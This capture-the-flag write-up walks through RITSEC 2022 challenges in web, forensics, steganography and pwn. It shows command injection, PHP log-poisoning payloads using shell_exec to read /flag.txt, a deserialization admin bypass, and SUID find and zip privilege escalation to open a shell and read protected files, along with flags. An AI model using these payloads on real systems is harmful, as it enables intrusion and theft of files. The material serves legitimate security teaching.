Pretty Horrible Program 1

Web

Description

Bingus our beloved is found and he can never be replaced

Solution

Entering the challenge page we get the following page.

We get an input field and a link to view the source. Let’s take a look at the source.

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');
?>
<!DOCTYPE html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    code {
      color: orange;
      font-size: 2.5rem;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }
  </style>
  <title>PHP 1</title>
</head>

<body>
  <img src="/php1/praise_bingus.webp" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>1</b></h1>
  <a href="/php1/index.php?source">View Source Code</a>
  <br />
  <?php
  if (isset($_GET['bingus'])) {
    $input = $_GET['bingus'];
    $to_replace = 'bingus';
    $clean_string = preg_replace("/$to_replace/", '', $input);
    echo "<p>Your string is: $clean_string</p>";
    if ($clean_string == $to_replace) {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
      output_flag();
    } else {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>";
    }
  }
  ?>
  <form method="get">
    <input type="text" required name="bingus" placeholder="Gimme some input :)" />
    <input type="submit" />
  </form>
</body>

Here we can see that the input we provide is being modified by $clean_string = preg_replace("/$to_replace/", '', $input); by replacing the word bingus. Then a check is made to see if the cleaned string matches the word bingus. So if we enter bibingusngus the code should only remove the bingus in the middle and the resulting cleaned string should be bingus.

And sure enough when submitting bibingusngus we get the flag.

RS{B1ngus_0ur_B3lov3d}


Pretty Horrible Program 2

Web

Description

Bingus cereal đź‘€ duh

Solution

When entering the challenge page we get the following.

So we get an input field to enter a serialized user, some output and a link to view the source. Let’s start by taking a look at the code.

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');

if (!isset($_COOKIE['user'])) {
  $default_user = new User;
  $_COOKIE['user'] = serialize($default_user);
  setcookie(
    'user',
    serialize($default_user),
  );
}

if (isset($_POST['user'])) {
  setcookie(
    'user',
    $_POST['user'],
  );
}

?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 2</title>
</head>

<body>
  <img src="/php2/meme.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>2</b></h1>
  <?php
  class User
  {
    public $role = 'User';

    public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }
    }

    public function __sleep()
    {
      return array($this->role);
    }
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    echo "<p>Output:<br/>" . $_COOKIE['user'] . '</p>';
  } else {
    echo 'Please provide some input.';
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    try {
      $user = unserialize($_COOKIE['user']);
      if ($user->is_admin()) {
        echo '<h3 class="success">Welcome Admin</h3>';
        output_flag();
      } else {
        echo '<h3 class="error">Not Admin</h3>';
      }
    } catch (Error $e) {
      echo '<h2 class="error">Uh oh, ur input was <code>cringe</code></h2>';
    }
  }
  ?>
  <hr />
  <form action="/php2/index.php" method="post">
    Serialized User: <input type="text" name="user"><br>
    <input type="submit">
  </form>
  <a href="/php2/index.php?source">View Source Code</a>
</body>

</html>

In the last PHP block we can see that the cookie user is being unserialized and if the call to is_admin() is true we get the flag. Let’s take a closer look at the User class where the is_admin() method is defined.

  class User
  {
    public $role = 'User';

    public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }
    }

    public function __sleep()
    {
      return array($this->role);
    }
  }

So the is_admin() method checks if the field role is set to Admin. So all we have to do is to supply a serialized version of the User class with the role set to Admin. Simple enough. So let’s start by writing a simple PHP script serializing the data we need.

<?php

  class User
  {
      public $role = 'Admin';
  }

  echo serialize(new User());

Executing this script returns the string O:4:"User":1:{s:4:"role";s:5:"Admin";}. And submitting this we get the flag.

RS{C3re4l_B1ngu5}


Pretty Horrible Program 3

Web

Description

Well, better get cracking I guess

Solution

Entering the challenge page we get the following page.

Ok, so our goal is to supply two inputs that will have the same sha256 hash. Let’s take a look at the source code.

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require 'flag.php';
?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
      text-align: center;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 3</title>
</head>

<body>
  <img src="/php3/drippy_bingus.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>3</b></h1>
  <?php
  if (isset($_GET['input1']) and isset($_GET['input2'])) {
    if ($_GET['input1'] == $_GET['input2']) {
      print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
    } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
      output_flag();
    } else {
      print '<h3 class="error">Your inputs don\'t match</h3>';
    }
  }
  ?>
  <p>See if you can make the sha256 hashes match</p>
  <br />
  <a href="/php3/index.php?source=true">Source Code</a>
  <form method="get">
    <input type="text" required name="input1" placeholder="Input 1" />
    <p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p>
    <input type="text" required name="input2" placeholder="Input 2" />
    <p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p>
    <input type="submit" />
  </form>
</body>

</html>
<?php

From this we can see that there’s a check to make sure our inputs isn’t the same value. Then there’s a check to verify that the sha256 hashes of the inputs matches. To bypass this we can use type juggling to change the inputs to arrays and breaking the hash function calls.

Sending php3?input1[]=1&input2[]=2 will satisfy all the checks and return the flag.

RS{Th3_H@sh_Sl1ng1ng_5lash3r}


RITSEC calculator

Web

Description

The most robust JS ever created

Solution

Entering the challenge page we get a calculator.

As the description hints, this should be written in JavaScript. So let’s take a look at the JavaScript for the page. After opening the file /ritcalc/script.js we can see that it’s obfuscated using JSFuck.

To deobfuscate the script we can use de4js. And after deobfuscating we get the following script.

// NOTE: 
// This is the final source code file for a blog post "How to build a calculator". You can follow the lesson at https://zellwk.com/blog/calculator-part-3

const calculate = (n1, operator, n2) => {
    const firstNum = parseFloat(n1)
    const secondNum = parseFloat(n2)
    if (operator === 'add') return firstNum + secondNum
    if (operator === 'subtract') return firstNum - secondNum
    if (operator === 'multiply') return firstNum * secondNum
    if (operator === 'divide') return firstNum / secondNum
}

const getKeyType = key => {
    const {
        action
    } = key.dataset
    if (!action) return 'number'
    if (
        action === 'add' ||
        action === 'subtract' ||
        action === 'multiply' ||
        action === 'divide'
    ) return 'operator'
    // For everything else, return the action
    return action
}

const createResultString = (key, displayedNum, state) => {
    const keyContent = key.textContent
    const keyType = getKeyType(key)
    const {
        firstValue,
        operator,
        modValue,
        previousKeyType
    } = state

    if (keyType === 'number') {
        return displayedNum === '0' ||
            previousKeyType === 'operator' ||
            previousKeyType === 'calculate' ?
            keyContent :
            displayedNum + keyContent
    }

    if (keyType === 'decimal') {
        if (!displayedNum.includes('.')) return displayedNum + '.'
        if (previousKeyType === 'operator' || previousKeyType === 'calculate') return '0.'
        return displayedNum
    }

    if (keyType === 'operator') {
        return firstValue &&
            operator &&
            previousKeyType !== 'operator' &&
            previousKeyType !== 'calculate' ?
            calculate(firstValue, operator, displayedNum) :
            displayedNum
    }

    if (keyType === 'clear') return 0

    if (keyType === 'calculate') {
        return firstValue ?
            previousKeyType === 'calculate' ?
            calculate(displayedNum, operator, modValue) :
            calculate(firstValue, operator, displayedNum) :
            displayedNum
    }
}

const updateCalculatorState = (key, calculator, calculatedValue, displayedNum) => {
    const keyType = getKeyType(key)
    const {
        firstValue,
        operator,
        modValue,
        previousKeyType
    } = calculator.dataset

    calculator.dataset.previousKeyType = keyType

    if (keyType === 'operator') {
        calculator.dataset.operator = key.dataset.action
        calculator.dataset.firstValue = firstValue &&
            operator &&
            previousKeyType !== 'operator' &&
            previousKeyType !== 'calculate' ?
            calculatedValue :
            displayedNum
    }

    if (keyType === 'calculate') {
        calculator.dataset.modValue = firstValue && previousKeyType === 'calculate' ?
            modValue :
            displayedNum
    }

    if (keyType === 'clear' && key.textContent === 'AC') {
        calculator.dataset.firstValue = ''
        calculator.dataset.modValue = ''
        calculator.dataset.operator = ''
        calculator.dataset.previousKeyType = ''
    }
}

const updateVisualState = (key, calculator) => {
    const keyType = getKeyType(key)
    Array.from(key.parentNode.children).forEach(k => k.classList.remove('is-depressed'))

    if (keyType === 'operator') key.classList.add('is-depressed')
    if (keyType === 'clear' && key.textContent !== 'AC') key.textContent = 'AC'
    if (keyType !== 'clear') {
        const clearButton = calculator.querySelector('[data-action=clear]')
        clearButton.textContent = 'CE'
    }
}

const calculator = document.querySelector('.calculator')
const display = calculator.querySelector('.calculator__display')
const keys = calculator.querySelector('.calculator__keys')

keys.addEventListener('click', e => {
    if (!e.target.matches('button')) return
    const key = e.target
    const displayedNum = display.textContent
    const resultString = createResultString(key, displayedNum, calculator.dataset)
    if (calculator.dataset.modValue == 'bingus') {
        display.textContent = 'RS{ESOTERIC_GUAVA_SCRIPT}'
    } else {
        display.textContent = resultString
    }
    updateCalculatorState(key, calculator, resultString, displayedNum)
    updateVisualState(key, calculator)
})

At the bottom of the script we can find the flag.

RS{ESOTERIC_GUAVA_SCRIPT}


Really Cool Encryption

Web

Description

Only the most secure and state of the art encryption

Solution

Entering the challenge page we get a simple form with one input and a submit button.

Submitting some text returns the submitted text and the base64 encoded value for the submitted text.

Taking a look at the HTML source we find out that there’s validation on the input field.

<html>
    <head>
        <title>
            Really Cool Encryption
        </title>
    </head>
    <body>
        <h1>
            Really Cool Encryption
        </h1>
        <form>
            <label for="input">Plain text:</label><br>
            <input type="text" name="input" placeholder="example" pattern="^[a-zA-Z]{0,10}$"><br><br>
            <input type="submit" value="Submit">
          </form>
          <h2>
              aaa
          </h2>
          <p>
              YWFhCg==
          </p>
    </body>
</html>

Submitting values other than a-zA-Z directly to the back end turns out to work fine. So no validation at the back end side. Testing for command injection by entering /rce?input=%26+ls reveals that we are able to run commands on the server and get the output of the commands in the base64 output.

          <h2>
              &amp; ls
          </h2>
          <p>
              RG9ja2VyZmlsZQpkb2NrZXItY29tcG9zZS55bWwKZXpwd24ucHkKZmxhZwp0ZW1wbGF0ZXMK
          </p>

In the decoded base64 output we have the file listing.

Dockerfile
docker-compose.yml
ezpwn.py
flag
templates

Trying to cat the flag just returns the string haha, you’re not done yet. Ok, let’s take a look at the other files. Checking the contents of the Dockerfile shows us the name of the base docker image and the set up of the container.

FROM youngbaofeng/google-image-search-pretext:latest

RUN mkdir /opt/app
ADD . /opt/app
WORKDIR /opt/app

RUN user
add bruh
USER bruh

CMD python3 ezpwn.py

EXPOSE 80

Checking out the docker image on docker hub we find out that it’s a new image, so let’s check the image out and see what it contains.

First let’s pull the image using docker pull youngbaofeng/google-image-search-pretext:latest and then save the image using docker save -o test.tar youngbaofeng/google-image-search-pretext:latest so we can view the contents.

Extracting the contents of our saved image we get all the layers and configuration making up the image. And in the file 2cf8aa57c80b3e9b1a4234af07b50aa7c6b385e8658b6ac796b0ba8cd2dc32c2.json we can find a layer that prints the flag.

    {
      "created": "2022-04-01T01:04:27.437471786Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\" \"-c\" \"echo \\\"RS{CHANDI_HEADREST}\\\"\"]",
      "empty_layer": true
    }

RS{CHANDI_HEADREST}


Down the Data Streams

Web

Description

We think some elite hackers are hosting a classified document. See if you can figure out what they have.
Automated connections are allowed.

Solution

When entering the challenge page, all we get are a text with a file name and the label ‘Start’.

Downloading the file we get some data.

Converting 89504e470d0a1a0a0000000d49484452 from hex reveals a PNG header. So the first part of the file is probably an index and a data chunk. If we use the second part as a file name we get another data chunk.

If the first part is an index, it looks like we have to make a lot of requests to get the whole image. So let’s make a script to download all the chunks.

#!/usr/bin/env python3
import requests

base_url = 'https://ctf.ritsec.club/data-streams/'
first_document = '6610e477ddefc14511cc4f261c3c608d'

fetched_data = [0] * 20000
fh = open('chunks.txt', 'w')
document = first_document
while True:
    r = requests.get(base_url + document + '.txt')
    document = r.text.split(' ')[2]

So our script will download each txt file, saving each line to a file called chunks.txt and then extracting the last part of the string to use as the next file to download. After letting this script run for a while we get all chunks, with the last line containing END as the next file.

To recreate the image from our downloaded chunks we can write another script.

#!/usr/bin/env python3

fh = open('chunks.txt', 'r')
lines = fh.readlines()
fh.close()

data = [0] * len(lines)

for line in lines:
    line = line.split(' ')
    idx = int(line[0][1:-1])
    b = line[1][1:-2]
    data[idx] = b

fd = bytes.fromhex(''.join(data))

fh = open('flag.png', 'wb')
fh.write(fd)
fh.close()

This script will read all lines from the chunks.txt file, create a new array with the same size as number of lines in the file and then parse each line and assigning each value to the correct index of the array. After we have recreated the array we convert the array to bytes and write the data to the file flag.png.

Opening our newly created image we can see the flag.

RS{81ngu5_w3b_53rvic3s}


Bingus Access

Web

Description

Everyone knows about apache logs, but can you exploit this?

Solution

Entering the challenge page we get an image and some text.

Checking the source we can see that the image is a link to the page info.html. When clicking the link we get redirected to Rick Astley – Never Gonna Give You Up on YouTube. So let’s download info.html and check out if we can find anything useful.

<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv="refresh" content="0;URL='https://www.youtube.com/watch?v=dQw4w9WgXcQ'" />
	</head>
	<body style="color:white">
You wont stop yoinky sploinky, heres a hint for you: you know i made a url get parameter "file", but it is sort of "restricted", but I also have ftp and I log stuff, so no yoinky sploinky there.
	</body>
</html>

Ok, so we found some hints here. Using the file parameter on the main page we get the message No Yoinky Sploinky will be tolerated!. Testing some known paths all return the same message. Back to the hints in the info.html page. From the hints we know that there’s a FTP server running, and that it logs stuff.

So connecting to ctf.ritsec.club using FTP we find out that the server is vsftpd, the default log path for vsftpd is /var/log/vsftpd.log and using this path as the file parameter we get the log file as output. Great!

Now we need to get some PHP code into the log file to execute. But our login attempts doesn’t seem to be logged. Running an nmap scan on ctf.ritsec.club reveals another FTP port open, 2121. And connecting to this port and entering invalid credentials do turn up in the logs! Now it’s time to inject some PHP code.

Let’s see if we can get a file listing.

ftp ctf.ritsec.club 2121
Connected to ctf.ritsec.club.
220 (vsFTPd 3.0.3)
Name (ctf.ritsec.club:kza): <?php echo shell_exec('ls'); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp>

Checking the log file now shows us the current file listing. Success!

Sat Apr  2 17:28:55 2022 [pid 589] [bingus.jpg
index.php
info.html
] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"

No flag in the web dir, let’s check the root by entering <?php echo shell_exec('ls /'); ?> as the username.

Sat Apr  2 17:30:33 2022 [pid 653] [bin
boot
cleanup.sh
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"

So the flag is in the root. Time to cat it. Entering <?php echo shell_exec('cat /flag.txt'); ?> as the username and again checking the logs reveals the flag.

Sat Apr  2 17:31:03 2022 [pid 684] [RS{B1NGU5_FL4G}
] FAIL LOGIN: Client "::ffff:xxx.xxx.xxx.xxx"

RS{B1NGU5_FL4G}


Lost in

Cryptography

Description

324c6e597364696f3259725a6f646d673261453d
Bingus sent us this encrypted messagen
Can you decrypt?

Solution

Converting the encrypted message from hex we get 2LnYsdio2YrZodmg2aE= convert this from base64 and we get عربي١٠١. Now we can use google translate and translate this from Arabic and we get Arabic101 which is the flag.

RS{Arabic101}


Scrumptions Snacks

Misc

Description

Sheamus the STEGOsaurus is hungry! He’s somewhat secretive about his favorite snack spot, but he’ll gladly share his secret if you say the word: “lunch”. Can you identify the name of Sheamus’ favorite food establishment?

Solution

Attached to the challenge is a JPEG file. And as hinted in the description there’s probably some data hidden in the image using the password lunch.

Using steghide we can recover a text file called location.txt by running the following command steghide extract -sf stegosaurus.jpg and entering the password lunch.

The new file contains some coordinates, 39.95187791397735, -75.17117334360019.

Entering the coordinates in Google Maps and entering street view we find a restaurant.

Now we’ve found Sheamus’ favorite food establishment and got our flag.

RS{sweetgreen}


StegWalk

Misc

Description

We found these files in storage. We think there might be something more to one of these images. Good luck!

Solution

Unzip the attached file, we get a lot of images. There’s one thats sticks out though, iyav473h.png.

Checking the file type we see that it’s not a PNG, it’s a JPEG. Using binwalk we can see that there’s an embedded zip file. Extrating the data using binwalk -e we get a file called secret.txt.

Taking a look at the new file, it seems blank. But using stegsnow -C secret.txt we get the flag.

RS{st3g0_w4lk_432849}


Copium Ducky

Misc

Description

We found a weird duck talking about exfiltrating sensitive data from air-gapped networks using USBs. They happen to be a bit of bookworm too if that helps.

Solution

Attached is an encoded Rubber Ducky payload. Using the Rubber Ducky Decoder we get the plain text payload.

When opening the plain text payload we see that it’s the book “The War of The Worlds” by H.G. Wells.

T h e 
SPACE
 W a r 
SPACE
 o f 
ENTER
 b240 
DELAY 100

SPACE
 t h e 
SPACE
 W o r l d 
ENTER
 b240 
DELAY 100
 s b 
ENTER
 b240 
DELAY 100
 . 
SPACE
 W e l l s 

Searching for { and } reveals one occurance each. And some lines above the { character we find both an R and an S.

 R s 
SPACE
 f r o m 
SPACE
 C h e 
ENTER
 b240 
DELAY 100
 S r t s e y 
SPACE
 o r 
SPACE
 I 
ENTER
 b240 
DELAY 100
 { s l e w o r t h 

From this we can see that the first character after each ENTER command makes up the first part of the flag. So taking the first character after each ENTER command we end up with the flag.

RS{DUCK135_oF_7hE_WoR1D}


Spaced Out

Misc

Description

Space is forever expanding… everything is so spaced out

Solution

Attached is an image of a galaxy with a bunch of pixels spread out across the image.

Taking a closer look at the pixels reveals that they are evenly spread out.

Each pixel spread out by 11 pixels on the x axis and 12 pixels on the y axis. Using this we can write a Python script to extract the pixels and create a new image.

#!/usr/bin/env python3
from PIL import Image

x_step = 11
y_step = 12


img = Image.open('spaced-out.jpeg')
out_img = Image.new(mode='RGB', size=(
    int(img.width/x_step)+1, int(img.height/y_step)+1))


for y in range(0, img.height, y_step):
    for x in range(0, img.width, x_step):
        px = img.getpixel((x, y))
        out_img.putpixel((int(x/x_step), int(y/y_step)), px)

out_img.save('flag.jpg')

After running the script we get the following image.

And we get the flag.

RS{B1ngus_T3ch_T1p5}


Bad C2

Forensics

Description

Not very versatile malware

Solution

Opening the attached packet capture file in Wireshark we find a bunch of TCP streams. One of the streams contains a HTTP POST request to http://maliciouspayload.delivery/get/secret which looks interesting.

POST /get/secret HTTP/1.1
Host: maliciouspayload.delivery
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 19
Content-Type: application/json

{"please": "false"}HTTP/1.1 200 OK
Server: Werkzeug/2.1.0 Python/3.8.10
Date: Tue, 29 Mar 2022 23:52:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 28

sorry, you didn't say please

Sending a request to the endpoint with the JSON-data {"please": "true"} returns the flag.

RS{m4gic_word_is_4lw4ys_b31ng_p0lit3}


Oreo

Forensics

Description

yum, goes well with milk

Solution

Attached to the challenge is a tar archive. Extracting the archive we get some chrome data.

In the SQLite database Default\Cookies we can find a cookie for hacking.cyber with the value UlN7eXVteXVtX20xbGtfNGFuZF9jbzBraTNzX2Ywcl9kYXl6fQ==.

Decoding the base64 encoded value gives us the flag.

RS{yumyum_m1lk_4and_co0ki3s_f0r_dayz}


Death, Taxes, TCP

Forensics

Description

Take a look at this capture of TCP data transmission. We can always rely on TCP!

Solution

Opening the pcap we see a lot of TCP packets sent from localhost to localhost. Starting with stream 103 we get single characters that looks like a flag. Extracting those until we get a } character we get FOR_H4NDSH4K3S}. The first part of the flag starts at stream 51, extracting those we get RS{NO_T1ME_ and now we have the flag.

RS{NO_T1ME_FOR_H4NDSH4K3S}


Capybara

Pwn

Description

Escalate on this system to read /flag.txt. Capybaras are awesome!

Solution

Connecting to the server we get an input telling us to enter our favorite animal, testing for a bit reveals that we can inject commands.

ssh baseline@ctf.ritsec.club -p 2222

baseline@ctf.ritsec.club's password:
Could not chdir to home directory /home/baseline: No such file or directory
Enter your favorite animal: ll
I love the ll
Enter your favorite animal: &
Enter your favorite animal: I love the
& ls
bin  boot  dev	entrypoint.sh  etc  flag.txt  home  lib  lib32	lib64  libx32  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  tmp.sh  tmp2.sh  usr  var
Enter your favorite animal: I love the
& cat flag.txt
cat: I love the
flag.txt: Permission denied
Enter your favorite animal: & /bin/bash
I love the
baseline@632c6ab5726b:/$ ls
bin  boot  dev	entrypoint.sh  etc  flag.txt  home  lib  lib32	lib64  libx32  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  tmp.sh  tmp2.sh  usr  var

Now we got a shell for the user baseline. Let’s do some enumeration. Scanning for SUID binaries reveals the following binaries.

baseline@b25cfb15f063:/$ find / -type f -perm -04000 -ls 2>/dev/null
  4387053     84 -rwsr-xr-x   1 root     root        85064 Jul 14  2021 /usr/bin/chfn
  4387059     52 -rwsr-xr-x   1 root     root        53040 Jul 14  2021 /usr/bin/chsh
  4387193     68 -rwsr-xr-x   1 root     root        68208 Jul 14  2021 /usr/bin/passwd
  4387256     68 -rwsr-xr-x   1 root     root        67816 Feb  7 13:33 /usr/bin/su
  4387177     56 -rwsr-xr-x   1 root     root        55528 Feb  7 13:33 /usr/bin/mount
  4387120     88 -rwsr-xr-x   1 root     root        88464 Jul 14  2021 /usr/bin/gpasswd
  4387281     40 -rwsr-xr-x   1 root     root        39144 Feb  7 13:33 /usr/bin/umount
  4387182     44 -rwsr-xr-x   1 root     root        44784 Jul 14  2021 /usr/bin/newgrp
  2843591    316 -r-sr-xr-x   1 middleman middleman   320160 Feb 18  2020 /usr/bin/find
   784063    464 -rwsr-xr-x   1 root      root        473576 Dec  2 22:38 /usr/lib/openssh/ssh-keysign
   784030     52 -rwsr-xr--   1 root      messagebus    51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

The /usr/bin/find binary looks interesting, lets try to privesc by using this.

baseline@b25cfb15f063:/$ find . -exec /bin/bash -p \; -quit
bash-5.0$ whoami
middleman

Great. Now we are the user middleman. Searching for files owned by middleman reveals that /usr/bin/zip is owned by middleman, we might be able to use zip to read /flag.txt.

bash-5.0$ cd /dev/shm
bash-5.0$ LFILE=/flag.txt
bash-5.0$ TF=$(mktemp -u)
bash-5.0$ zip $TF $LFILE
  adding: flag.txt (stored 0%)
bash-5.0$ unzip -p $TF
RS{CAPYBARA_ON_L1NUX?}

Great! We got the flag.

RS{CAPYBARA_ON_L1NUX?}